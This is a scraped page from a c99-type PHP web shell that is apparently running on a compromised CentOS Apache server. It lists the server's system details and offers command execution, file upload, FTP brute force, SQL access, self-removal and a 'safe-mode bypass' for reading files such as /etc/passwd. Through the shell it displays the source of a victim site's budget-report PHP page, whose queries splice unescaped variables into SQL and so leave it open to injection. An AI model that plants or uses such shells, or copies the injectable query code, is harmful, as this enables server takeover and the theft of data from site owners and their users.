!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Plan_new/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Report.php (3.42 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
        
/**  Configuration  */ 
        //header('Content-type: application/xls');
        //header('Content-Disposition: attachment; filename="testing.xls"');
        //require_once( "../configuration.php" );
        
require_once( $_Config_absolute_path "/includes/framework.php" );
        
//require_once( "../includes/Function.php" );
        //require_once( "../link/function.php" );
        
        /**  Create Database Object  */
        
$dbObj = new DBConn;

        
/**  Config Table for This Page  */
        
$myTable "project_tb";
        
$myTablePK "ProjectId";
        
         
$myTable2="project_type_tb";
        
//===  
    
$query " SELECT *  FROM $myTable2   WHERE Budget_Year='$Budget_Year'  AND  Flag='Y'    ";
     
$result0 $dbObj->execQuery($query);
     
$rs0 $dbObj->fetchArray($result0);
    
$num0 $dbObj->_numrows;
        
/**  Paging */
        
        
        /**  Parameters  */
    
$params "ProjectId=$ProjectId&Project_code=$Project_code&Faculty_code=$Faculty_code";
     
          
    
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />

<script language="javascript" src="../js/utilities.js"></script>
<title>ข้อมูลแผนดำเนินงานและรายงาน : แสดงรายงานการใช้เงินตามแผนโครงการ</title>
<style type="text/css">
<!--
.style2 {font-size: 14px}
.style8 {font-size: 14px; font-family: Tahoma; }
.style9 {
    font-size: 14pt;
    font-weight: bold;
    font-family: Tahoma;
}
-->
</style>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<table width="699" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="706" align="center" valign="top" style="padding:10px 0px 5px 10px"><?php
                
        
/**  Query เพื่อหา Numrows ก่อน  */
        
$query " SELECT *  FROM  $myTable2   WHERE Budget_Year='$Budget_Year'  AND  Flag='Y'    ";
        
$result $dbObj->execQuery($query);
        
$numrows $dbObj->_numrows;
        
            
?>
      <table width="96%" border="0" align="center" cellpadding="1" cellspacing="0" bgcolor="#FFFFFF" style="background-color:#eeeeee; border:0px solid gray">
        <?php
                $no 
1+($display-1)*$limit;
                while( 
$rs $dbObj->fetchArray($result) ) { 
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
              
?>
        <tr bgcolor="<?=$bgColor;?>">
          <td width="79%" height="20" align="left" class="PADDING-LEFT-5"></a><a href="PlanPerson.php?Budget_Year=<?=$rs['Budget_Year'];?>&amp;ProjectId=<?=$rs['ProjectId'];?>&amp;MoneyS_C=<?=$rs['MoneyS_C'];?>" >
            <?=htmlspecialchars_decodenl2br$rs['Project_plan'] ) );?>
          </a></td>
          <td width="21%" align="left" class="PADDING-LEFT-5"><span class="PADDING-LEFT-3"> ( 
            <?php
                $MoneyS_C 
$rs['MoneyS_C'];
                
$sql3 " Select * From   money_source_tb Where  MoneyS_C='$MoneyS_C' ";
                
$result3 $dbObj->execQuery($sql3);
                
$rs3 $dbObj->fetchArray($result3);
                    echo 
$rs3['MoneyS_M'];
             
?>
          )</span></td>
        </tr>
        <?php
                    $no
++;
                } 
# while
              
?>
      </table>
    </td>
  </tr>
</table>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
</body>
</html>
<?php
    
/**  Free Resource */
    //$dbObj->freeresult($result);
    
    /**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.015 ]--